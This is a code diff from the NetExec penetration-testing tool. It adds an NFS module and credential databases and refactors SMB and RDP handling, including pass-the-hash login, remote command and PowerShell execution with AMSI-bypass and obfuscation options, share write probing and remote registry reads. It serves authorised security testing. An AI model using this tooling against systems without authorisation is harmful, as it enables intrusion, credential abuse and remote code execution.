self.logger.fail(f"Error writing file to share {remote_file_path}: {e}")
|
||||
else:
|
||||
self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}")
|
||||
|
||||
|
||||
def convert_size(size_bytes):
|
||||
if size_bytes == 0:
|
||||
return "0B"
|
||||
size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
|
||||
i = int(math.floor(math.log(size_bytes, 1024)))
|
||||
p = math.pow(1024, i)
|
||||
s = round(size_bytes / p, 1)
|
||||
return f"{s}{size_name[i]}"
|
||||
Whitespace-only changes.
@@ -0,0 +1,70 @@
|
||||
from sqlalchemy import Table
|
||||
from sqlalchemy.exc import (
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
from nxc.database import BaseDB
|
||||
import sys
|
||||
|
||||
|
||||
class database(BaseDB):
|
||||
def __init__(self, db_engine):
|
||||
self.CredentialsTable = None
|
||||
self.HostsTable = None
|
||||
self.LoggedinRelationsTable = None
|
||||
self.SharesTable = None
|
||||
|
||||
super().__init__(db_engine)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
db_conn.execute(
|
||||
"""CREATE TABLE "credentials" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"username" text,
|
||||
"password" text
|
||||
)"""
|
||||
)
|
||||
|
||||
db_conn.execute(
|
||||
"""CREATE TABLE "hosts" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"ip" text,
|
||||
"hostname" text,
|
||||
"port" integer
|
||||
)"""
|
||||
)
|
||||
db_conn.execute(
|
||||
"""CREATE TABLE "loggedin_relations" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"cred_id" integer,
|
||||
"host_id" integer,
|
||||
FOREIGN KEY(cred_id) REFERENCES credentials(id),
|
||||
FOREIGN KEY(host_id) REFERENCES hosts(id)
|
||||
)"""
|
||||
)
|
||||
db_conn.execute(
|
||||
"""CREATE TABLE "shares" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"lir_id" integer,
|
||||
"data" text,
|
||||
FOREIGN KEY(lir_id) REFERENCES loggedin_relations(id)
|
||||
)"""
|
||||
)
|
||||
|
||||
def reflect_tables(self):
|
||||
with self.db_engine.connect():
|
||||
try:
|
||||
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)
|
||||
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
|
||||
self.LoggedinRelationsTable = Table("loggedin_relations", self.metadata, autoload_with=self.db_engine)
|
||||
self.SharesTable = Table("shares", self.metadata, autoload_with=self.db_engine)
|
||||
except (NoInspectionAvailable, NoSuchTableError):
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
sys.exit()
|
||||
@@ -0,0 +1,15 @@
|
||||
from nxc.nxcdb import DatabaseNavigator, print_help
|
||||
|
||||
|
||||
class navigator(DatabaseNavigator):
|
||||
def do_clear_database(self, line):
|
||||
if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y":
|
||||
self.db.clear_database()
|
||||
|
||||
def help_clear_database(self):
|
||||
help_string = """
|
||||
clear_database
|
||||
THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE
|
||||
YOU CANNOT UNDO THIS COMMAND
|
||||
"""
|
||||
print_help(help_string)
|
||||
@@ -0,0 +1,12 @@
|
||||
def proto_args(parser, parents):
|
||||
nfs_parser = parser.add_parser("nfs", help="own stuff using NFS", parents=parents)
|
||||
nfs_parser.add_argument("--port", type=int, default=111, help="NFS portmapper port (default: %(default)s)")
|
||||
nfs_parser.add_argument("--nfs-timeout", type=int, default=30, help="NFS connection timeout (default: %(default)ss)")
|
||||
|
||||
dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS")
|
||||
dgroup.add_argument("--shares", action="store_true", help="List NFS shares")
|
||||
dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)")
|
||||
dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file")
|
||||
dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file")
|
||||
|
||||
return parser
|
||||
@@ -81,11 +81,6 @@ class rdp(connection):
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
# def proto_flow(self):
|
||||
# if self.create_conn_obj():
|
||||
# if self.login() or (self.username == '' and self.password == ''):
|
||||
# if hasattr(self.args, 'module') and self.args.module:
|
||||
|
||||
def proto_logger(self):
|
||||
import platform
|
||||
if platform.python_version() in ["3.11.5", "3.11.6", "3.12.0"]:
|
||||
@@ -109,10 +104,9 @@ class rdp(connection):
|
||||
def print_host_info(self):
|
||||
nla = colored(f"nla:{self.nla}", host_info_colors[3], attrs=["bold"]) if self.nla else colored(f"nla:{self.nla}", host_info_colors[2], attrs=["bold"])
|
||||
if self.domain is None:
|
||||
self.logger.display("Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})")
|
||||
self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})")
|
||||
else:
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})")
|
||||
return True
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
|
||||
@@ -181,7 +175,7 @@ class rdp(connection):
|
||||
credentials=self.auth,
|
||||
)
|
||||
asyncio.run(self.connect_rdp())
|
||||
if str(proto) == "SUPP_PROTOCOLS.RDP" or str(proto) == "SUPP_PROTOCOLS.SSL" or str(proto) == "SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP":
|
||||
if proto.value == SUPP_PROTOCOLS.RDP or proto.value == SUPP_PROTOCOLS.SSL or proto.value == SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.RDP:
|
||||
self.nla = False
|
||||
return
|
||||
except Exception:
|
||||
|
||||
@@ -1,31 +1,20 @@
|
||||
from pathlib import Path
|
||||
import sys
|
||||
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table
|
||||
from sqlalchemy import Table
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
from nxc.logger import nxc_logger
|
||||
import sys
|
||||
|
||||
from nxc.database import BaseDB
|
||||
|
||||
|
||||
class database:
|
||||
class database(BaseDB):
|
||||
def __init__(self, db_engine):
|
||||
self.CredentialsTable = None
|
||||
self.HostsTable = None
|
||||
|
||||
self.db_engine = db_engine
|
||||
self.db_path = self.db_engine.url.database
|
||||
self.protocol = Path(self.db_path).stem.upper()
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
|
||||
Session = scoped_session(session_factory)
|
||||
# this is still named "conn" when it is the session object; TODO: rename
|
||||
self.conn = Session()
|
||||
super().__init__(db_engine)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
@@ -62,16 +51,3 @@ class database:
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
sys.exit()
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.conn.close()
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
for table in self.metadata.sorted_tables:
|
||||
self.conn.execute(table.delete())
|
||||
+242
-74
@@ -14,7 +14,7 @@ from impacket.examples.secretsdump import (
|
||||
NTDSHashes,
|
||||
)
|
||||
from impacket.nmb import NetBIOSError, NetBIOSTimeout
|
||||
from impacket.dcerpc.v5 import transport, lsat, lsad, scmr
|
||||
from impacket.dcerpc.v5 import transport, lsat, lsad, scmr, rrp
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5.transport import DCERPCTransportFactory, SMBTransport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
@@ -27,6 +27,7 @@ from impacket.krb5 import constants
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
|
||||
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE
|
||||
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
|
||||
@@ -208,13 +209,14 @@ class smb(connection):
|
||||
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
|
||||
|
||||
try:
|
||||
self.conn.login("", "")
|
||||
logged_in = self.conn.login("", "")
|
||||
except BrokenPipeError:
|
||||
self.logger.fail("Broken Pipe Error while attempting to login")
|
||||
except Exception as e:
|
||||
if "STATUS_NOT_SUPPORTED" in str(e):
|
||||
# no ntlm supported
|
||||
self.no_ntlm = True
|
||||
self.logger.debug("NTLM not supported")
|
||||
|
||||
# self.domain is the attribute we authenticate with
|
||||
# self.targetDomain is the attribute which gets displayed as host domain
|
||||
@@ -224,8 +226,20 @@ class smb(connection):
|
||||
if not self.targetDomain: # Not sure if that can even happen but now we are safe
|
||||
self.targetDomain = self.hostname
|
||||
else:
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.hostname
|
||||
# If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it
|
||||
try:
|
||||
import socket
|
||||
socket.inet_aton(self.host)
|
||||
self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name")
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.host
|
||||
except OSError:
|
||||
if self.host.count(".") >= 1:
|
||||
self.hostname = self.host.split(".")[0]
|
||||
self.targetDomain = ".".join(self.host.split(".")[1:])
|
||||
else:
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.host
|
||||
|
||||
self.domain = self.targetDomain if not self.args.domain else self.args.domain
|
||||
|
||||
@@ -236,10 +250,18 @@ class smb(connection):
|
||||
# As of June 2024 Samba will always report the version as "Windows 6.1", apparently due to a bug https://stackoverflow.com/a/67577401/17395725
|
||||
# Together with the reported build version "0" by Samba we can assume that it is a Samba server. Windows should always report a build version > 0
|
||||
# Also only on Windows we should get an OS arch as for that we would need MSRPC
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.server_os_major = self.conn.getServerOSMajor()
|
||||
self.server_os_minor = self.conn.getServerOSMinor()
|
||||
self.server_os_build = self.conn.getServerOSBuild()
|
||||
try:
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.server_os_major = self.conn.getServerOSMajor()
|
||||
self.server_os_minor = self.conn.getServerOSMinor()
|
||||
self.server_os_build = self.conn.getServerOSBuild()
|
||||
except KeyError:
|
||||
self.logger.debug("Error getting server information...")
|
||||
|
||||
# Handle cases where server_os is returned as bytes, such as when accidentally scanning a machine running Responder
|
||||
if isinstance(self.server_os.lower(), bytes):
|
||||
self.server_os = self.server_os.decode("utf-8")
|
||||
|
||||
if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
|
||||
self.server_os = "Unix - Samba"
|
||||
elif self.server_os_build == 0 and self.os_arch == 0:
|
||||
@@ -248,9 +270,6 @@ class smb(connection):
|
||||
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
if isinstance(self.server_os.lower(), bytes):
|
||||
self.server_os = self.server_os.decode("utf-8")
|
||||
|
||||
try:
|
||||
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
|
||||
except Exception as e:
|
||||
@@ -259,21 +278,24 @@ class smb(connection):
|
||||
self.os_arch = self.get_os_arch()
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
|
||||
|
||||
self.db.add_host(
|
||||
self.host,
|
||||
self.hostname,
|
||||
self.domain,
|
||||
self.server_os,
|
||||
self.smbv1,
|
||||
self.signing,
|
||||
)
|
||||
try:
|
||||
self.db.add_host(
|
||||
self.host,
|
||||
self.hostname,
|
||||
self.domain,
|
||||
self.server_os,
|
||||
self.smbv1,
|
||||
self.signing,
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
|
||||
|
||||
try:
|
||||
# DCs seem to want us to logoff first, windows workstations sometimes reset the connection
|
||||
self.conn.logoff()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error logging off system: {e}")
|
||||
|
||||
|
||||
# DCOM connection with kerberos needed
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
|
||||
|
||||
@@ -282,17 +304,22 @@ class smb(connection):
|
||||
self.kdcHost = result["host"] if result else None
|
||||
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
|
||||
|
||||
# If we want to authenticate we should create another connection object, because we already logged in
|
||||
# if self.args.username or self.args.cred_id or self.kerberos or self.args.use_kcache:
|
||||
# self.logger.debug(f"Recreating connection object because of {bool(self.args.username)=}, {bool(self.args.cred_id)=}, {self.kerberos=}, {self.args.use_kcache=}")
|
||||
# self.create_conn_obj()
|
||||
# if logged_in:
|
||||
# self.logger.debug(f"Logged in anonymously to host {self.host}, recreating connection object")
|
||||
# self.create_conn_obj()
|
||||
self.create_conn_obj()
|
||||
|
||||
def print_host_info(self):
|
||||
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
|
||||
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
|
||||
return True
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
logging.getLogger("impacket").disabled = True
|
||||
# Re-connect since we logged off
|
||||
self.logger.debug(f"KDC set to: {kdcHost}")
|
||||
self.create_conn_obj()
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
@@ -350,9 +377,7 @@ class smb(connection):
|
||||
if self.args.continue_on_success and self.signing:
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn.logoff()
|
||||
|
||||
self.create_conn_obj()
|
||||
|
||||
return True
|
||||
except SessionKeyDecryptionError:
|
||||
# success for now, since it's a vulnerability - previously was an error
|
||||
@@ -384,8 +409,6 @@ class smb(connection):
|
||||
return False
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
# Re-connect since we logged off
|
||||
self.create_conn_obj()
|
||||
try:
|
||||
self.password = password
|
||||
self.username = username
|
||||
@@ -397,11 +420,11 @@ class smb(connection):
|
||||
self.logger.debug(f"{self.is_guest=}")
|
||||
if "Unix" not in self.server_os:
|
||||
self.check_if_admin()
|
||||
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
self.db.add_credential("plaintext", domain, self.username, self.password)
|
||||
user_id = self.db.get_credential("plaintext", domain, self.username, self.password)
|
||||
host_id = self.db.get_hosts(self.host)[0].id
|
||||
|
||||
self.db.add_loggedin_relation(user_id, host_id)
|
||||
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_guest()}{self.mark_pwned()}"
|
||||
@@ -411,14 +434,7 @@ class smb(connection):
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}")
|
||||
self.db.add_admin_user(
|
||||
"plaintext",
|
||||
domain,
|
||||
self.username,
|
||||
self.password,
|
||||
self.host,
|
||||
user_id=user_id,
|
||||
)
|
||||
self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host, user_id=user_id)
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
|
||||
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
|
||||
@@ -438,14 +454,15 @@ class smb(connection):
|
||||
return False
|
||||
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
|
||||
self.logger.fail(f"Connection Error: {e}")
|
||||
self.create_conn_obj()
|
||||
return False
|
||||
except BrokenPipeError:
|
||||
self.logger.fail("Broken Pipe Error while attempting to login")
|
||||
self.create_conn_obj()
|
||||
return False
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
# Re-connect since we logged off
|
||||
self.create_conn_obj()
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
try:
|
||||
@@ -469,9 +486,10 @@ class smb(connection):
|
||||
self.logger.debug(f"{self.is_guest=}")
|
||||
if "Unix" not in self.server_os:
|
||||
self.check_if_admin()
|
||||
user_id = self.db.add_credential("hash", domain, self.username, self.hash)
|
||||
host_id = self.db.get_hosts(self.host)[0].id
|
||||
|
||||
self.db.add_credential("hash", domain, self.username, self.hash)
|
||||
user_id = self.db.get_credential("hash", domain, self.username, self.hash)
|
||||
host_id = self.db.get_hosts(self.host)[0].id
|
||||
self.db.add_loggedin_relation(user_id, host_id)
|
||||
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_guest()}{self.mark_pwned()}"
|
||||
@@ -501,12 +519,15 @@ class smb(connection):
|
||||
return False
|
||||
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
|
||||
self.logger.fail(f"Connection Error: {e}")
|
||||
self.create_conn_obj()
|
||||
return False
|
||||
except BrokenPipeError:
|
||||
self.logger.fail("Broken Pipe Error while attempting to login")
|
||||
self.create_conn_obj()
|
||||
return False
|
||||
|
||||
def create_smbv1_conn(self):
|
||||
self.logger.debug(f"Creating SMBv1 connection to {self.host}")
|
||||
try:
|
||||
self.conn = SMBConnection(
|
||||
self.remoteName,
|
||||
@@ -524,10 +545,10 @@ class smb(connection):
|
||||
except (Exception, NetBIOSTimeout) as e:
|
||||
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
def create_smbv3_conn(self):
|
||||
self.logger.debug(f"Creating SMBv3 connection to {self.host}")
|
||||
try:
|
||||
self.conn = SMBConnection(
|
||||
self.remoteName,
|
||||
@@ -550,8 +571,25 @@ class smb(connection):
|
||||
return False
|
||||
return True
|
||||
|
||||
def create_conn_obj(self):
|
||||
return bool(self.create_smbv1_conn() or self.create_smbv3_conn())
|
||||
def create_conn_obj(self, no_smbv1=False):
|
||||
"""
|
||||
Tries to create a connection object to the target host.
|
||||
On first try, it will try to create a SMBv1 connection.
|
||||
On further tries, it will remember which SMB version is supported and create a connection object accordingly.
|
||||
|
||||
:param no_smbv1: If True, it will not try to create a SMBv1 connection
|
||||
"""
|
||||
# Initial negotiation
|
||||
if not no_smbv1 and self.smbv1 is None:
|
||||
self.smbv1 = self.create_smbv1_conn()
|
||||
if self.smbv1:
|
||||
return True
|
||||
else:
|
||||
return self.create_smbv3_conn()
|
||||
elif not no_smbv1 and self.smbv1:
|
||||
return self.create_smbv1_conn()
|
||||
else:
|
||||
return self.create_smbv3_conn()
|
||||
|
||||
def check_if_admin(self):
|
||||
self.logger.debug(f"Checking if user is admin on {self.host}")
|
||||
@@ -560,18 +598,22 @@ class smb(connection):
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception:
|
||||
pass
|
||||
self.admin_privs = False
|
||||
else:
|
||||
with contextlib.suppress(Exception):
|
||||
dce.bind(scmr.MSRPC_UUID_SCMR)
|
||||
try:
|
||||
# 0xF003F - SC_MANAGER_ALL_ACCESS
|
||||
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
|
||||
scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
|
||||
scmrobj = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
|
||||
scmr.hREnumServicesStatusW(dce, scmrobj["lpScHandle"])
|
||||
self.logger.debug(f"User is admin on {self.host}!")
|
||||
self.admin_privs = True
|
||||
except scmr.DCERPCException:
|
||||
self.admin_privs = False
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error checking if user is admin on {self.host}: {e}")
|
||||
self.admin_privs = False
|
||||
|
||||
def gen_relay_list(self):
|
||||
if self.server_os.lower().find("windows") != -1 and self.signing is False:
|
||||
@@ -580,7 +622,20 @@ class smb(connection):
|
||||
relay_list.write(self.host + "\n")
|
||||
|
||||
@requires_admin
|
||||
def execute(self, payload=None, get_output=False, methods=None):
|
||||
def execute(self, payload=None, get_output=False, methods=None) -> str:
|
||||
"""
|
||||
Executes a command on the target host using CMD.exe and the specified method(s).
|
||||
|
||||
Args:
|
||||
----
|
||||
payload (str): The command to execute
|
||||
get_output (bool): Whether to get the output of the command (can be useful for AV evasion)
|
||||
methods (list): The method(s) to use for command execution
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The output of the command
|
||||
"""
|
||||
if self.args.exec_method:
|
||||
methods = [self.args.exec_method]
|
||||
if not methods:
|
||||
@@ -707,59 +762,81 @@ class smb(connection):
|
||||
except UnicodeDecodeError:
|
||||
self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings")
|
||||
output = output.decode("cp437")
|
||||
|
||||
|
||||
self.logger.debug(f"Raw Output: {output}")
|
||||
output = "\n".join([ll.rstrip() for ll in output.splitlines() if ll.strip()])
|
||||
self.logger.debug(f"Cleaned Output: {output}")
|
||||
|
||||
|
||||
if "This script contains malicious content" in output:
|
||||
self.logger.fail("Command execution blocked by AMSI")
|
||||
return None
|
||||
return ""
|
||||
|
||||
if (self.args.execute or self.args.ps_execute) and output:
|
||||
if (self.args.execute or self.args.ps_execute):
|
||||
self.logger.success(f"Executed command via {current_method}")
|
||||
output_lines = StringIO(output).readlines()
|
||||
for line in output_lines:
|
||||
self.logger.highlight(line.strip())
|
||||
if output:
|
||||
output_lines = StringIO(output).readlines()
|
||||
for line in output_lines:
|
||||
self.logger.highlight(line.strip())
|
||||
return output
|
||||
else:
|
||||
self.logger.fail(f"Execute command failed with {current_method}")
|
||||
return False
|
||||
return ""
|
||||
|
||||
@requires_admin
|
||||
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
|
||||
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False) -> list:
|
||||
"""
|
||||
Wrapper for executing a PowerShell command on the target host. This still uses the execute() method internally, but
|
||||
creates a PowerShell command together with possible AMSI bypasses and other options.
|
||||
|
||||
Args:
|
||||
----
|
||||
payload (str): The PowerShell command to execute OR the path to a file containing PowerShell commands
|
||||
get_output (bool): Whether to get the output of the command (can be useful for AV evasion)
|
||||
methods (list): The method(s) to use for command execution
|
||||
force_ps32 (bool): Whether to force 32-bit PowerShell
|
||||
|
||||
Returns:
|
||||
-------
|
||||
list: A list containing the lines of the output of the command
|
||||
"""
|
||||
payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
|
||||
if not payload:
|
||||
self.logger.error("No command to execute specified!")
|
||||
return None
|
||||
|
||||
return []
|
||||
|
||||
response = []
|
||||
obfs = obfs if obfs else self.args.obfs
|
||||
encode = encode if encode else not self.args.no_encode
|
||||
force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
|
||||
get_output = True if not self.args.no_output else get_output
|
||||
|
||||
|
||||
self.logger.debug(f"Starting ps_execute(): {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
|
||||
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
|
||||
self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
|
||||
|
||||
|
||||
if os.path.isfile(payload):
|
||||
self.logger.debug(f"File payload set: {payload}")
|
||||
with open(payload) as commands:
|
||||
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods) for c in commands]
|
||||
else:
|
||||
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods)]
|
||||
|
||||
|
||||
self.logger.debug(f"ps_execute response: {response}")
|
||||
return response
|
||||
|
||||
def shares(self):
|
||||
temp_dir = ntpath.normpath("\\" + gen_random_string())
|
||||
temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt")
|
||||
permissions = []
|
||||
|
||||
try:
|
||||
self.logger.debug(f"domain: {self.domain}")
|
||||
user_id = self.db.get_user(self.domain.upper(), self.username)[0][0]
|
||||
except IndexError as e:
|
||||
if self.kerberos:
|
||||
pass
|
||||
else:
|
||||
self.logger.fail(f"IndexError: {e!s}")
|
||||
except Exception as e:
|
||||
error = get_error_string(e)
|
||||
self.logger.fail(f"Error getting user: {error}")
|
||||
@@ -788,6 +865,8 @@ class smb(connection):
|
||||
share_info = {"name": share_name, "remark": share_remark, "access": []}
|
||||
read = False
|
||||
write = False
|
||||
write_dir = False
|
||||
write_file = False
|
||||
try:
|
||||
self.conn.listPath(share_name, "*")
|
||||
read = True
|
||||
@@ -799,18 +878,40 @@ class smb(connection):
|
||||
if not self.args.no_write_check:
|
||||
try:
|
||||
self.conn.createDirectory(share_name, temp_dir)
|
||||
write = True
|
||||
share_info["access"].append("WRITE")
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
self.logger.debug(f"Error checking WRITE access on share {share_name}: {error}")
|
||||
|
||||
if write:
|
||||
write_dir = True
|
||||
try:
|
||||
self.conn.deleteDirectory(share_name, temp_dir)
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
self.logger.debug(f"Error DELETING created temp dir {temp_dir} on share {share_name}: {error}")
|
||||
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
|
||||
pass
|
||||
else:
|
||||
self.logger.debug(f"Error DELETING created temp dir {temp_dir} on share {share_name}: {error}")
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
self.logger.debug(f"Error checking WRITE access on share {share_name}: {error}")
|
||||
|
||||
try:
|
||||
tid = self.conn.connectTree(share_name)
|
||||
fid = self.conn.createFile(tid, temp_file, desiredAccess=FILE_SHARE_WRITE, shareMode=FILE_SHARE_DELETE)
|
||||
self.conn.closeFile(tid, fid)
|
||||
write_file = True
|
||||
try:
|
||||
self.conn.deleteFile(share_name, temp_file)
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
|
||||
pass
|
||||
else:
|
||||
self.logger.debug(f"Error DELETING created temp file {temp_file} on share {share_name}")
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
self.logger.debug(f"Error checking WRITE access with file on share {share_name}: {error}")
|
||||
|
||||
# If we either can create a file or a directory we add the write privs to the output. Agreed on in https://github.com/Pennyw0rth/NetExec/pull/404
|
||||
if write_dir or write_file:
|
||||
write = True
|
||||
share_info["access"].append("WRITE")
|
||||
|
||||
permissions.append(share_info)
|
||||
|
||||
@@ -834,6 +935,75 @@ class smb(connection):
|
||||
self.logger.highlight(f"{name:<15} {','.join(perms):<15} {remark}")
|
||||
return permissions
|
||||
|
||||
@requires_admin
|
||||
def interfaces(self):
|
||||
"""
|
||||
Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
|
||||
Made by: @Sant0rryu, @NeffIsBack
|
||||
"""
|
||||
try:
|
||||
remoteOps = RemoteOperations(self.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
|
||||
sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
|
||||
|
||||
self.logger.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
|
||||
for sub_key in sub_keys:
|
||||
interface = {}
|
||||
try:
|
||||
